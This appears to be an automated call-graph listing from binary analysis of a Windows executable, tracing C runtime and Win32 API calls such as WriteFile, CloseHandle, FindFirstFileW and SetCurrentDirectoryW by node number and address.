93902->93903 93903->93901 93905 5b293d 93904->93905 93906 5b2952 93904->93906 94042 5b7c0e 47 API calls __getptd_noexit 93905->94042 93906->93887 93908 5b2942 94043 5b6e10 8 API calls __mbschr_l 93908->94043 93910 5b294d 93910->93887 93912 5be9de _fprintf 93911->93912 93913 5be9fe 93912->93913 93914 5be9e6 93912->93914 93915 5bea7b 93913->93915 93921 5bea28 93913->93921 94059 5b7bda 47 API calls __getptd_noexit 93914->94059 94063 5b7bda 47 API calls __getptd_noexit 93915->94063 93918 5be9eb 94060 5b7c0e 47 API calls __getptd_noexit 93918->94060 93920 5bea80 94064 5b7c0e 47 API calls __getptd_noexit 93920->94064 93923 5ba8ed ___lock_fhandle 49 API calls 93921->93923 93925 5bea2e 93923->93925 93924 5bea88 94065 5b6e10 8 API calls __mbschr_l 93924->94065 93927 5bea4c 93925->93927 93928 5bea41 93925->93928 94061 5b7c0e 47 API calls __getptd_noexit 93927->94061 94044 5bea9c 93928->94044 93929 5be9f3 _fprintf 93929->93889 93932 5bea47 94062 5bea73 LeaveCriticalSection __unlock_fhandle 93932->94062 93934->93880 93935->93884 93937 5baf6d _fprintf 93936->93937 93938 5baf75 93937->93938 93943 5baf8d 93937->93943 94034 5b7bda 47 API calls __getptd_noexit 93938->94034 93940 5bb022 94039 5b7bda 47 API calls __getptd_noexit 93940->94039 93941 5baf7a 94035 5b7c0e 47 API calls __getptd_noexit 93941->94035 93943->93940 93946 5bafbf 93943->93946 93945 5bb027 94040 5b7c0e 47 API calls __getptd_noexit 93945->94040 93961 5ba8ed 93946->93961 93949 5bb02f 94041 5b6e10 8 API calls __mbschr_l 93949->94041 93950 5bafc5 93952 5bafeb 93950->93952 93953 5bafd8 93950->93953 94036 5b7c0e 47 API calls __getptd_noexit 93952->94036 93970 5bb043 93953->93970 93955 5baf82 _fprintf 93955->93899 93957 5baff0 94037 5b7bda 47 API calls __getptd_noexit 93957->94037 93958 5bafe4 94038 5bb01a LeaveCriticalSection __unlock_fhandle 93958->94038 93962 5ba8f9 _fprintf 93961->93962 93963 5ba946 EnterCriticalSection 93962->93963 93964 5b7cf4 __lock 47 API calls 93962->93964 93966 5ba96c _fprintf 93963->93966 93965 5ba91d 93964->93965 93967 5ba93a 93965->93967 93968 5ba928 InitializeCriticalSectionAndSpinCount 93965->93968 93966->93950 93969 5ba970 ___lock_fhandle LeaveCriticalSection 93967->93969 93968->93967 93969->93963 93971 5bb050 __ftell_nolock 93970->93971 93972 5bb08d 93971->93972 93973 5bb0ac 93971->93973 94004 5bb082 93971->94004 93975 5b7bda __lseeki64 47 API calls 93972->93975 93976 5bb105 93973->93976 93977 5bb0e9 93973->93977 93974 5ba70c ___strgtold12_l 6 API calls 93978 5bb86b 93974->93978 93979 5bb092 93975->93979 93981 5bb11c 93976->93981 93984 5bf82f __lseeki64_nolock 49 API calls 93976->93984 93980 5b7bda __lseeki64 47 API calls 93977->93980 93978->93958 93982 5b7c0e __mbschr_l 47 API calls 93979->93982 93983 5bb0ee 93980->93983 93986 5c3bf2 __stbuf 47 API calls 93981->93986 93985 5bb099 93982->93985 93987 5b7c0e __mbschr_l 47 API calls 93983->93987 93984->93981 93988 5b6e10 __mbschr_l 8 API calls 93985->93988 93989 5bb12a 93986->93989 93991 5bb0f5 93987->93991 93988->94004 93990 5bb44b 93989->93990 93995 5b7a0d ____lc_codepage_func 47 API calls 93989->93995 93992 5bb7b8 WriteFile 93990->93992 93993 5bb463 93990->93993 93994 5b6e10 __mbschr_l 8 API calls 93991->93994 93997 5bb7e1 GetLastError 93992->93997 94006 5bb410 93992->94006 93996 5bb55a 93993->93996 94003 5bb479 93993->94003 93994->94004 93998 5bb150 GetConsoleMode 93995->93998 94008 5bb565 93996->94008 94010 5bb663 93996->94010 93997->94006 93998->93990 94000 5bb189 93998->94000 93999 5bb81b 93999->94004 94005 5b7c0e __mbschr_l 47 API calls 93999->94005 94000->93990 94001 5bb199 GetConsoleCP 94000->94001 94001->94006 94031 5bb1c2 94001->94031 94002 5bb4e9 WriteFile 94002->93997 94009 5bb526 94002->94009 94003->93999 94003->94002 94004->93974 94011 5bb843 94005->94011 94006->93999 94006->94004 94007 5bb7f7 94006->94007 94012 5bb7fe 94007->94012 94013 5bb812 94007->94013 94008->93999 94014 5bb5de WriteFile 94008->94014 94009->94003 94009->94006 94020 5bb555 94009->94020 94010->93999 94015 5bb6d8 WideCharToMultiByte 94010->94015 94016 5b7bda __lseeki64 47 API calls 94011->94016 94017 5b7c0e __mbschr_l 47 API calls 94012->94017 94018 5b7bed __dosmaperr 47 API calls 94013->94018 94014->93997 94019 5bb62d 94014->94019 94015->93997 94026 5bb71f 94015->94026 94016->94004 94021 5bb803 94017->94021 94018->94004 94019->94006 94019->94008 94019->94020 94020->94006 94023 5b7bda __lseeki64 47 API calls 94021->94023 94022 5bb727 WriteFile 94024 5bb77a GetLastError 94022->94024 94022->94026 94023->94004 94024->94026 94025 5b1688 __chsize_nolock 57 API calls 94025->94031 94026->94006 94026->94010 94026->94020 94026->94022 94027 5c40f7 59 API calls __chsize_nolock 94027->94031 94028 5bb28f WideCharToMultiByte 94028->94006 94030 5bb2ca WriteFile 94028->94030 94029 5bb2f6 94029->93997 94029->94006 94029->94031 94032 5c5884 WriteConsoleW CreateFileW __chsize_nolock 94029->94032 94033 5bb321 WriteFile 94029->94033 94030->93997 94030->94029 94031->94006 94031->94025 94031->94027 94031->94028 94031->94029 94032->94029 94033->93997 94033->94029 94034->93941 94035->93955 94036->93957 94037->93958 94038->93955 94039->93945 94040->93949 94041->93955 94042->93908 94043->93910 94066 5baba4 94044->94066 94046 5beb00 94079 5bab1e 48 API calls 2 library calls 94046->94079 94048 5beaaa 94048->94046 94049 5beade 94048->94049 94052 5baba4 __close_nolock 47 API calls 94048->94052 94049->94046 94050 5baba4 __close_nolock 47 API calls 94049->94050 94053 5beaea CloseHandle 94050->94053 94051 5beb08 94054 5beb2a 94051->94054 94080 5b7bed 47 API calls 3 library calls 94051->94080 94055 5bead5 94052->94055 94053->94046 94056 5beaf6 GetLastError 94053->94056 94054->93932 94058 5baba4 __close_nolock 47 API calls 94055->94058 94056->94046 94058->94049 94059->93918 94060->93929 94061->93932 94062->93929 94063->93920 94064->93924 94065->93929 94067 5babaf 94066->94067 94068 5babc4 94066->94068 94069 5b7bda __lseeki64 47 API calls 94067->94069 94070 5b7bda __lseeki64 47 API calls 94068->94070 94072 5babe9 94068->94072 94071 5babb4 94069->94071 94073 5babf3 94070->94073 94074 5b7c0e __mbschr_l 47 API calls 94071->94074 94072->94048 94076 5b7c0e __mbschr_l 47 API calls 94073->94076 94075 5babbc 94074->94075 94075->94048 94077 5babfb 94076->94077 94078 5b6e10 __mbschr_l 8 API calls 94077->94078 94078->94075 94079->94051 94080->94054 94081->93476 94082->93483 94083->93494 94084->93494 94085->93489 94086->93507 94087->93509 94088->93506 94089->93514 94090->93520 94091->93534 94092->93530 94152 5bf8a0 94093->94152 94096 596a63 48 API calls 94097 596643 94096->94097 94154 596571 94097->94154 94100 5940a7 94101 5bf8a0 __ftell_nolock 94100->94101 94102 5940b4 GetLongPathNameW 94101->94102 94103 596a63 48 API calls 94102->94103 94104 5940dc 94103->94104 94105 5949a0 94104->94105 94106 59d7f7 48 API calls 94105->94106 94107 5949b2 94106->94107 94108 59660f 49 API calls 94107->94108 94109 5949bd 94108->94109 94110 5949c8 94109->94110 94111 602e35 94109->94111 94113 5964cf 48 API calls 94110->94113 94115 602e4f 94111->94115 94168 5ad35e 60 API calls 94111->94168 94114 5949d4 94113->94114 94162 5928a6 94114->94162 94117 5949e7 Mailbox 94117->93279 94119 5941a9 136 API calls 94118->94119 94120 59415e 94119->94120 94121 603489 94120->94121 94122 5941a9 136 API calls 94120->94122 94123 5dc396 122 API calls 94121->94123 94124 594172 94122->94124 94125 60349e 94123->94125 94124->94121 94126 59417a 94124->94126 94127 6034a2 94125->94127 94128 6034bf 94125->94128 94131 6034aa 94126->94131 94132 594186 94126->94132 94129 594252 84 API calls 94127->94129 94130 5af4ea 48 API calls 94128->94130 94129->94131 94151 603504 Mailbox 94130->94151 94271 5d6b49 87 API calls _wprintf 94131->94271 94169 59c833 94132->94169 94135 6034b8 94135->94128 94137 6036b4 94138 5b1c9d _free 47 API calls 94137->94138 94139 6036bc 94138->94139 94140 594252 84 API calls 94139->94140 94145 6036c5 94140->94145 94144 5b1c9d _free 47 API calls 94144->94145 94145->94144 94147 594252 84 API calls 94145->94147 94275 5d25b5 86 API calls 4 library calls 94145->94275 94147->94145 94148 59ce19 48 API calls 94148->94151 94151->94137 94151->94145 94151->94148 94257 59ba85 94151->94257 94265 594dd9 94151->94265 94272 5d2551 48 API calls ___crtGetEnvironmentStringsW 94151->94272 94273 5d2472 60 API calls 2 library calls 94151->94273 94274 5d9c12 48 API calls 94151->94274 94153 59661c GetFullPathNameW 94152->94153 94153->94096 94155 59657f 94154->94155 94158 59b18b 94155->94158 94157 594114 94157->94100 94159 59b199 94158->94159 94161 59b1a2 ___crtGetEnvironmentStringsW 94158->94161 94160 59bdfa 48 API calls 94159->94160 94159->94161 94160->94161 94161->94157 94163 5928b8 94162->94163 94167 5928d7 ___crtGetEnvironmentStringsW 94162->94167 94165 5af4ea 48 API calls 94163->94165 94164 5af4ea 48 API calls 94166 5928ee 94164->94166 94165->94167 94166->94117 94167->94164 94168->94111 94170 59c843 __ftell_nolock 94169->94170 94171 603095 94170->94171 94172 59c860 94170->94172 94300 5d25b5 86 API calls 4 library calls 94171->94300 94281 5948ba 49 API calls 94172->94281 94175 6030a8 94301 5d25b5 86 API calls 4 library calls 94175->94301 94176 59c882 94282 594550 56 API calls 94176->94282 94178 59c897 94178->94175 94179 59c89f 94178->94179 94181 59d7f7 48 API calls 94179->94181 94183 59c8ab 94181->94183 94182 6030c4 94184 59c90c 94182->94184 94283 5ae968 49 API calls __ftell_nolock 94183->94283 94186 59c91a 94184->94186 94187 6030d7 94184->94187 94286 5b1dfc 94186->94286 94189 594907 CloseHandle 94187->94189 94188 59c8b7 94190 59d7f7 48 API calls 94188->94190 94192 6030e3 94189->94192 94193 59c8c3 94190->94193 94194 5941a9 136 API calls 94192->94194 94195 59660f 49 API calls 94193->94195 94196 60310d 94194->94196 94197 59c8d1 94195->94197 94199 603136 94196->94199 94202 5dc396 122 API calls 94196->94202 94284 5aeb66 SetFilePointerEx ReadFile 94197->94284 94198 59c943 _wcscat _wcscpy 94201 59c96d SetCurrentDirectoryW 94198->94201 94302 5d25b5 86 API calls 4 library calls 94199->94302 94205 5af4ea 48 API calls 94201->94205 94206 603129 94202->94206 94203 59c8fd 94285 5946ce SetFilePointerEx SetFilePointerEx 94203->94285 94209 59c988 94205->94209 94210 603131 94206->94210 94211 603152 94206->94211 94208 60314d 94217 59cad1 Mailbox 94208->94217 94212 5947b7 48 API calls 94209->94212 94213 594252 84 API calls 94210->94213 94214 594252 84 API calls 94211->94214 94244 59c993 Mailbox __NMSG_WRITE 94212->94244 94213->94199 94215 603157 94214->94215 94216 5af4ea 48 API calls 94215->94216 94224 603194 94216->94224 94276 5948dd 94217->94276 94218 59ca9d 94296 594907 94218->94296 94222 593d98 94222->93140 94222->93149 94226 59ba85 48 API calls 94224->94226 94248 6031dd Mailbox 94226->94248 94228 6033ce 94307 5d9b72 48 API calls 94228->94307 94229 603467 94311 5d25b5 86 API calls 4 library calls 94229->94311 94232 603480 94232->94218 94234 6033f0 94308 5f29e8 48 API calls ___crtGetEnvironmentStringsW 94234->94308 94236 6033fd 94237 5b1c9d _free 47 API calls 94236->94237 94237->94217 94239 60345f 94310 5d240b 48 API calls 3 library calls 94239->94310 94241 59ce19 48 API calls 94241->94244 94242 59ba85 48 API calls 94242->94248 94244->94218 94244->94229 94244->94239 94244->94241 94289 59b337 56 API calls _wcscpy 94244->94289 94290 5ac258 GetStringTypeW 94244->94290 94291 59cb93 59 API calls __wcsnicmp 94244->94291 94292 59cb5a GetStringTypeW __NMSG_WRITE 94244->94292 94293 5b16d0 GetStringTypeW __towlower_l 94244->94293 94294 59cc24 162 API calls 3 library calls 94244->94294 94295 5ac682 48 API calls 94244->94295 94248->94228 94248->94242 94249 59ce19 48 API calls 94248->94249 94252 603420 94248->94252 94303 5d2551 48 API calls ___crtGetEnvironmentStringsW 94248->94303 94304 5d2472 60 API calls 2 library calls 94248->94304 94305 5d9c12 48 API calls 94248->94305 94306 5ac682 48 API calls 94248->94306 94249->94248 94309 5d25b5 86 API calls 4 library calls 94252->94309 94254 603439 94255 5b1c9d _free 47 API calls 94254->94255 94256 60344c 94255->94256 94256->94217 94258 59bb25 94257->94258 94262 59ba98 ___crtGetEnvironmentStringsW 94257->94262 94260 5af4ea 48 API calls 94258->94260 94259 5af4ea 48 API calls 94261 59ba9f 94259->94261 94260->94262 94263 5af4ea 48 API calls 94261->94263 94264 59bac8 94261->94264 94262->94259 94263->94264 94264->94151 94266 594dec 94265->94266 94269 594e9a 94265->94269 94267 5af4ea 48 API calls 94266->94267 94270 594e1e 94266->94270 94267->94270 94268 5af4ea 48 API calls 94268->94270 94269->94151 94270->94268 94270->94269 94271->94135 94272->94151 94273->94151 94274->94151 94275->94145 94277 594907 CloseHandle 94276->94277 94278 5948e5 Mailbox 94277->94278 94279 594907 CloseHandle 94278->94279 94280 5948fc 94279->94280 94280->94222 94281->94176 94282->94178 94283->94188 94284->94203 94285->94184 94312 5b1e46 94286->94312 94289->94244 94290->94244 94291->94244 94292->94244 94293->94244 94294->94244 94295->94244 94297 594911 SetCurrentDirectoryW 94296->94297 94298 594920 94296->94298 94297->94217 94298->94297 94299 594925 CloseHandle 94298->94299 94299->94297 94300->94175 94301->94182 94302->94208 94303->94248 94304->94248 94305->94248 94306->94248 94307->94234 94308->94236 94309->94254 94310->94229 94311->94232 94313 5b1e61 94312->94313 94316 5b1e55 94312->94316 94336 5b7c0e 47 API calls __getptd_noexit 94313->94336 94315 5b2019 94318 5b1e41 94315->94318 94337 5b6e10 8 API calls __mbschr_l 94315->94337 94316->94313 94319 5b1ed4 94316->94319 94331 5b9d6b 47 API calls __mbschr_l 94316->94331 94318->94198 94319->94313 94326 5b1f41 94319->94326 94332 5b9d6b 47 API calls __mbschr_l 94319->94332 94321 5b1fa0 94321->94313 94321->94318 94322 5b1fb0 94321->94322 94335 5b9d6b 47 API calls __mbschr_l 94322->94335 94323 5b1f7b 94323->94313 94323->94318 94328 5b1f91 94323->94328 94324 5b1f5f 94324->94313 94324->94323 94333 5b9d6b 47 API calls __mbschr_l 94324->94333 94326->94321 94326->94324 94334 5b9d6b 47 API calls __mbschr_l 94328->94334 94331->94319 94332->94326 94333->94323 94334->94318 94335->94318 94336->94315 94337->94318 94339 5af4ea 48 API calls 94338->94339 94340 596b54 94339->94340 94340->93290 94341->93292 94343 594c8b 94342->94343 94344 594d94 94342->94344 94343->94344 94345 5af4ea 48 API calls 94343->94345 94344->93296 94346 594cb2 94345->94346 94347 5af4ea 48 API calls 94346->94347 94352 594d22 94347->94352 94350 594dd9 48 API calls 94350->94352 94351 59ba85 48 API calls 94351->94352 94352->94344 94352->94350 94352->94351 94355 59b470 94352->94355 94383 5d9af1 48 API calls 94352->94383 94353->93298 94354->93300 94384 596b0f 94355->94384 94357 59b69b 94358 59ba85 48 API calls 94357->94358 94359 59b6b5 Mailbox 94358->94359 94359->94352 94362 60397b 94399 5d26bc 88 API calls 4 library calls 94362->94399 94364 59b9e4 94400 5d26bc 88 API calls 4 library calls 94364->94400 94366 603973 94366->94359 94369 59ba85 48 API calls 94376 59b495 94369->94376 94370 603989 94372 59ba85 48 API calls 94370->94372 94371 59bcce 48 API calls 94371->94376 94372->94366 94373 603909 94374 596b4a 48 API calls 94373->94374 94377 603914 94374->94377 94376->94357 94376->94362 94376->94364 94376->94369 94376->94371 94376->94373 94379 59bdfa 48 API calls 94376->94379 94382 603939 ___crtGetEnvironmentStringsW 94376->94382 94389 59c413 59 API calls 94376->94389 94390 59bb85 94376->94390 94395 59bc74 48 API calls 94376->94395 94396 59c6a5 49 API calls 94376->94396 94397 59c799 48 API calls ___crtGetEnvironmentStringsW 94376->94397 94381 5af4ea 48 API calls 94377->94381 94380 59b66c CharUpperBuffW 94379->94380 94380->94376 94381->94382 94398 5d26bc 88 API calls 4 library calls 94382->94398 94383->94352 94385 5af4ea 48 API calls 94384->94385 94386 596b34 94385->94386 94387 596b4a 48 API calls 94386->94387 94388 596b43 94387->94388 94388->94376 94389->94376 94391 59bb9b 94390->94391 94394 59bb96 ___crtGetEnvironmentStringsW 94390->94394 94392 601b77 94391->94392 94393 5aee75 48 API calls 94391->94393 94393->94394 94394->94376 94395->94376 94396->94376 94397->94376 94398->94366 94399->94370 94400->94366 94402 59403c LoadImageW 94401->94402 94403 60418d EnumResourceNamesW 94401->94403 94404 593ee1 RegisterClassExW 94402->94404 94403->94404 94405 593f53 7 API calls 94404->94405 94405->93315 94407 59f130 94406->94407 94409 59fe30 331 API calls 94407->94409 94413 59f199 94407->94413 94408 59f595 94415 59d7f7 48 API calls 94408->94415 94452 59f431 Mailbox 94408->94452 94410 608728 94409->94410 94410->94413 94606 5dcc5c 86 API calls 4 library calls 94410->94606 94411 6087c8 94609 5dcc5c 86 API calls 4 library calls 94411->94609 94413->94408 94416 59d7f7 48 API calls 94413->94416 94442 59f229 94413->94442 94459 59f3dd 94413->94459 94417 6087a3 94415->94417 94420 608772 94416->94420 94608 5b0f0a 52 API calls __cinit 94417->94608 94418 59f3f2 94460 59f418 94418->94460 94610 5d9af1 48 API calls 94418->94610 94419 608b1b 94436 608b2c 94419->94436 94437 608bcf 94419->94437 94607 5b0f0a 52 API calls __cinit 94420->94607 94421 5dcc5c 86 API calls 94421->94452 94424 59f770 94429 59f77a 94424->94429 94430 608a45 94424->94430 94426 59d6e9 55 API calls 94426->94452 94427 608810 94611 5eeef8 331 API calls 94427->94611 94428 59fe30 331 API calls 94435 59f6aa 94428->94435 94448 5a1b90 48 API calls 94429->94448 94616 5ac1af 48 API calls 94430->94616 94431 608b7e 94619 5ee40a 331 API calls Mailbox 94431->94619 94432 608c53 94624 5dcc5c 86 API calls 4 library calls 94432->94624 94435->94424 94435->94428 94447 59f537 Mailbox 94435->94447 94449 59fce0 94435->94449 94435->94452 94618 5ef5ee 331 API calls 94436->94618 94621 5dcc5c 86 API calls 4 library calls 94437->94621 94438 608beb 94622 5ebdbd 331 API calls Mailbox 94438->94622 94440 59fe30 331 API calls 94440->94452 94442->94408 94442->94452 94442->94459 94442->94460 94444 608823 94455 60884b 94444->94455 94444->94460 94445 5a1b90 48 API calls 94445->94452 94447->93377 94448->94452 94449->94447 94620 5dcc5c 86 API calls 4 library calls 94449->94620 94452->94421 94452->94426 94452->94431 94452->94432 94452->94438 94452->94440 94452->94445 94452->94447 94452->94449 94605 59dd47 48 API calls ___crtGetEnvironmentStringsW 94452->94605 94617 5c97ed InterlockedDecrement 94452->94617 94625 5ac1af 48 API calls 94452->94625 94453 608c00 94453->94447 94623 5dcc5c 86 API calls 4 library calls 94453->94623 94612 5eccdc 48 API calls 94455->94612 94459->94411 94459->94418 94459->94452 94460->94419 94460->94435 94460->94452 94461 608857 94463 608865 94461->94463 94464 6088aa 94461->94464 94613 5d9b72 48 API calls 94463->94613 94467 6088a0 Mailbox 94464->94467 94614 5da69d 48 API calls 94464->94614 94465 59fe30 331 API calls 94465->94447 94467->94465 94469 6088e7 94615 59bc74 48 API calls 94469->94615 94472 5a479f 94471->94472 94473 5a4637 94471->94473 94474 59ce19 48 API calls 94472->94474 94475 606e05 94473->94475 94476 5a4643 94473->94476 94483 5a46e4 Mailbox 94474->94483 94680 5ee822 94475->94680 94679 5a4300 331 API calls ___crtGetEnvironmentStringsW 94476->94679 94479 5a4739 Mailbox 94479->93377 94480 606e11 94480->94479 94720 5dcc5c 86 API calls 4 library calls 94480->94720 94482 5a4659 94482->94479 94482->94480 94482->94483 94486 594252 84 API calls 94483->94486 94626 5d6524 94483->94626 94629 5e6ff0 94483->94629 94638 5dfa0c 94483->94638 94486->94479 94851 59bd30 94488->94851 94490 5a3267 94492 5a32f8 94490->94492 94493 60907a 94490->94493 94559 5a3628 94490->94559 94863 5ac36b 86 API calls 94492->94863 94869 5dcc5c 86 API calls 4 library calls 94493->94869 94494 609072 94494->93377 94497 5a34eb Mailbox ___crtGetEnvironmentStringsW 94499 60909a 94497->94499 94502 5ac3c3 48 API calls 94497->94502 94507 60926d 94497->94507 94523 609438 94497->94523 94525 59fe30 331 API calls 94497->94525 94543 5af4ea 48 API calls 94497->94543 94545 5a351f 94497->94545 94550 609394 94497->94550 94554 6093c5 94497->94554 94497->94559 94865 59d9a0 53 API calls __cinit 94497->94865 94866 59d8c0 53 API calls 94497->94866 94867 5ac2d6 48 API calls ___crtGetEnvironmentStringsW 94497->94867 94879 5ecda2 82 API calls Mailbox 94497->94879 94880 5d80e3 53 API calls 94497->94880 94881 59d764 55 API calls 94497->94881 94882 59dcae 50 API calls Mailbox 94497->94882 94498 6094df 94498->94559 94886 5dcc5c 86 API calls 4 library calls 94498->94886 94509 59d645 53 API calls 94499->94509 94547 6091fa 94499->94547 94501 5a3313 94501->94497 94501->94498 94501->94559 94856 592b7a 94501->94856 94502->94497 94506 5a33ce 94506->94497 94520 60945e 94506->94520 94521 5a3465 94506->94521 94878 5dcc5c 86 API calls 4 library calls 94507->94878 94508 59fe30 331 API calls 94511 609407 94508->94511 94512 60910c 94509->94512 94516 59d6e9 55 API calls 94511->94516 94511->94559 94514 609220 94512->94514 94518 609114 94512->94518 94875 591caa 49 API calls 94514->94875 94516->94523 94526 609128 94518->94526 94535 609152 94518->94535 94884 5dc942 50 API calls 94520->94884 94528 5af4ea 48 API calls 94521->94528 94883 5dcc5c 86 API calls 4 library calls 94523->94883 94524 60923d 94529 609252 94524->94529 94530 60925e 94524->94530 94525->94497 94870 5dcc5c 86 API calls 4 library calls 94526->94870 94538 5a346c 94528->94538 94876 5dcc5c 86 API calls 4 library calls 94529->94876 94877 5dcc5c 86 API calls 4 library calls 94530->94877 94536 609177 94535->94536 94540 609195 94535->94540 94871 5ef320 331 API calls 94536->94871 94542 59e8d0 331 API calls 94538->94542 94538->94545 94541 60918b 94540->94541 94872 5ef5ee 331 API calls 94540->94872 94541->94559 94873 5ac2d6 48 API calls ___crtGetEnvironmentStringsW 94541->94873 94542->94497 94543->94497 94548 596eed 48 API calls 94545->94548 94549 5a3540 94545->94549 94874 5dcc5c 86 API calls 4 library calls 94547->94874 94548->94549 94553 6094b0 94549->94553 94556 5a3585 94549->94556 94549->94559 94552 5af4ea 48 API calls 94550->94552 94552->94554 94885 59dcae 50 API calls Mailbox 94553->94885 94554->94508 94556->94498 94557 5a3615 94556->94557 94556->94559 94864 59dcae 50 API calls Mailbox 94557->94864 94560 5a3635 Mailbox 94559->94560 94868 5dcc5c 86 API calls 4 library calls 94559->94868 94560->93377 94561->93377 94562->93377 94563->93377 94564->93377 94565->93322 94566->93325 94567->93330 94568->93377 94569->93377 94570->93370 94571->93370 94572->93370 94574 59fe50 94573->94574 94600 59fe7e 94573->94600 94575 5af4ea 48 API calls 94574->94575 94575->94600 94576 5a146e 94577 596eed 48 API calls 94576->94577 94599 59ffe1 94577->94599 94578 59d7f7 48 API calls 94578->94600 94579 5a0509 94893 5dcc5c 86 API calls 4 library calls 94579->94893 94583 5af4ea 48 API calls 94583->94600 94584 5a1473 94892 5dcc5c 86 API calls 4 library calls 94584->94892 94585 60a922 94585->93377 94586 60a246 94588 596eed 48 API calls 94586->94588 94588->94599 94590 596eed 48 API calls 94590->94600 94591 60a873 94591->93377 94592 60a30e 94592->94599 94890 5c97ed InterlockedDecrement 94592->94890 94593 5b0f0a 52 API calls __cinit 94593->94600 94594 5c97ed InterlockedDecrement 94594->94600 94596 60a973 94894 5dcc5c 86 API calls 4 library calls 94596->94894 94598 5a15b5 94891 5dcc5c 86 API calls 4 library calls 94598->94891 94599->93377 94600->94576 94600->94578 94600->94579 94600->94583 94600->94584 94600->94586 94600->94590 94600->94592 94600->94593 94600->94594 94600->94596 94600->94598 94600->94599 94888 5a1820 331 API calls 2 library calls 94600->94888 94889 5a1d10 59 API calls Mailbox 94600->94889 94601 60a982 94602->93370 94603->93370 94604->93370 94605->94452 94606->94413 94607->94442 94608->94452 94609->94447 94610->94427 94611->94444 94612->94461 94613->94467 94614->94469 94615->94467 94616->94452 94617->94452 94618->94452 94619->94449 94620->94447 94621->94447 94622->94453 94623->94447 94624->94447 94625->94452 94721 5d6ca9 GetFileAttributesW 94626->94721 94725 59936c 94629->94725 94631 5e702a 94632 59b470 91 API calls 94631->94632 94633 5e703a 94632->94633 94634 5e705f 94633->94634 94635 59fe30 331 API calls 94633->94635 94637 5e7063 94634->94637 94745 59cdb9 48 API calls 94634->94745 94635->94634 94637->94479 94639 5dfa1c __ftell_nolock 94638->94639 94640 5dfa44 94639->94640 94804 59d286 48 API calls 94639->94804 94642 59936c 81 API calls 94640->94642 94643 5dfa5e 94642->94643 94644 5dfb92 94643->94644 94645 5dfb68 94643->94645 94646 5dfa80 94643->94646 94644->94479 94647 5941a9 136 API calls 94645->94647 94648 59936c 81 API calls 94646->94648 94649 5dfb79 94647->94649 94653 5dfa8c _wcscpy _wcschr 94648->94653 94650 5dfb8e 94649->94650 94651 5941a9 136 API calls 94649->94651 94650->94644 94652 59936c 81 API calls 94650->94652 94651->94650 94654 5dfbc7 94652->94654 94658 5dfab0 _wcscat _wcscpy 94653->94658 94662 5dfade _wcscat 94653->94662 94655 5b1dfc __wsplitpath 47 API calls 94654->94655 94663 5dfbeb _wcscat _wcscpy 94655->94663 94656 59936c 81 API calls 94657 5dfafc _wcscpy 94656->94657 94805 5d72cb GetFileAttributesW 94657->94805 94660 59936c 81 API calls 94658->94660 94660->94662 94661 5dfb1c __NMSG_WRITE 94661->94644 94664 59936c 81 API calls 94661->94664 94662->94656 94667 59936c 81 API calls 94663->94667 94665 5dfb48 94664->94665 94806 5d60dd 77 API calls 4 library calls 94665->94806 94669 5dfc82 94667->94669 94668 5dfb5c 94668->94644 94748 5d690b 94669->94748 94671 5dfca2 94672 5d6524 3 API calls 94671->94672 94673 5dfcb1 94672->94673 94674 59936c 81 API calls 94673->94674 94677 5dfce2 94673->94677 94675 5dfccb 94674->94675 94754 5dbfa4 94675->94754 94678 594252 84 API calls 94677->94678 94678->94644 94679->94482 94681 5ee84e 94680->94681 94682 5ee868 94680->94682 94843 5dcc5c 86 API calls 4 library calls 94681->94843 94844 5eccdc 48 API calls 94682->94844 94685 5ee871 94686 59fe30 330 API calls 94685->94686 94687 5ee8cf 94686->94687 94688 5ee96a 94687->94688 94689 5ee916 94687->94689 94700 5ee860 Mailbox 94687->94700 94690 5ee978 94688->94690 94693 5ee9c7 94688->94693 94845 5d9b72 48 API calls 94689->94845 94846 5da69d 48 API calls 94690->94846 94692 5ee949 94695 5a45e0 330 API calls 94692->94695 94696 59936c 81 API calls 94693->94696 94693->94700 94695->94700 94699 5ee9e1 94696->94699 94697 5ee99b 94847 59bc74 48 API calls 94697->94847 94702 59bdfa 48 API calls 94699->94702 94700->94480 94701 5ee9a3 Mailbox 94704 5a3200 330 API calls 94701->94704 94703 5eea05 CharUpperBuffW 94702->94703 94705 5eea1f 94703->94705 94704->94700 94706 5eea26 94705->94706 94707 5eea72 94705->94707 94848 5d9b72 48 API calls 94706->94848 94708 59936c 81 API calls 94707->94708 94709 5eea7a 94708->94709 94849 591caa 49 API calls 94709->94849 94712 5eea54 94713 5a45e0 330 API calls 94712->94713 94713->94700 94714 5eea84 94714->94700 94715 59936c 81 API calls 94714->94715 94716 5eea9f 94715->94716 94850 59bc74 48 API calls 94716->94850 94718 5eeaaf 94719 5a3200 330 API calls 94718->94719 94719->94700 94720->94479 94722 5d6529 94721->94722 94723 5d6cc4 FindFirstFileW 94721->94723 94722->94479 94723->94722 94724 5d6cd9 FindClose 94723->94724 94724->94722 94726 599380 94725->94726 94727 599384 94725->94727 94726->94631 94728 604cbd __i64tow 94727->94728 94729 599398 94727->94729 94730 604bbf 94727->94730 94738 5993b0 __itow Mailbox _wcscpy 94727->94738 94746 5b172b 80 API calls 3 library calls 94729->94746 94731 604ca5 94730->94731 94732 604bc8 94730->94732 94747 5b172b 80 API calls 3 library calls 94731->94747 94737 604be7 94732->94737 94732->94738 94734 5af4ea 48 API calls 94736 5993ba 94734->94736 94736->94726 94739 59ce19 48 API calls 94736->94739 94740 5af4ea 48 API calls 94737->94740 94738->94734 94739->94726 94741 604c04 94740->94741 94742 5af4ea 48 API calls 94741->94742 94743 604c2a 94742->94743 94743->94726 94744 59ce19 48 API calls 94743->94744 94744->94726 94745->94637 94746->94738 94747->94738 94749 5d6918 _wcschr __ftell_nolock 94748->94749 94750 5b1dfc __wsplitpath 47 API calls 94749->94750 94753 5d692e _wcscat _wcscpy 94749->94753 94751 5d695d 94750->94751 94752 5b1dfc __wsplitpath 47 API calls 94751->94752 94752->94753 94753->94671 94755 5dbfb1 __ftell_nolock 94754->94755 94756 5af4ea 48 API calls 94755->94756 94757 5dc00e 94756->94757 94758 5947b7 48 API calls 94757->94758 94759 5dc018 94758->94759 94760 5dbdb4 GetSystemTimeAsFileTime 94759->94760 94761 5dc023 94760->94761 94762 594517 83 API calls 94761->94762 94763 5dc036 _wcscmp 94762->94763 94764 5dc05a 94763->94764 94765 5dc107 94763->94765 94766 5dc56d 94 API calls 94764->94766 94767 5dc56d 94 API calls 94765->94767 94768 5dc05f 94766->94768 94782 5dc0d3 _wcscat 94767->94782 94769 5b1dfc __wsplitpath 47 API calls 94768->94769 94773 5dc110 94768->94773 94774 5dc088 _wcscat _wcscpy 94769->94774 94770 5944ed 64 API calls 94771 5dc12c 